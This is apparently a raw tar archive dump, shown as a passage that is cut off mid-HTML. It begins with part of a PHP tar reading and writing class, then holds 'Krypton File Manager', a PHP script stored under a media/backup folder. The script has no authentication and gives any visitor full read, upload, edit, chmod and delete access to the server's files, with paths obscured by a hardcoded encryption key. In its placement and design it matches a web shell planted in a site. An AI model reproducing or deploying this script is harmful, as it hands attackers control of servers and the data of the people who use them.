			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
dist/content/media/backup/v3/index.php000066600000122157151334721360013676 0ustar00<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
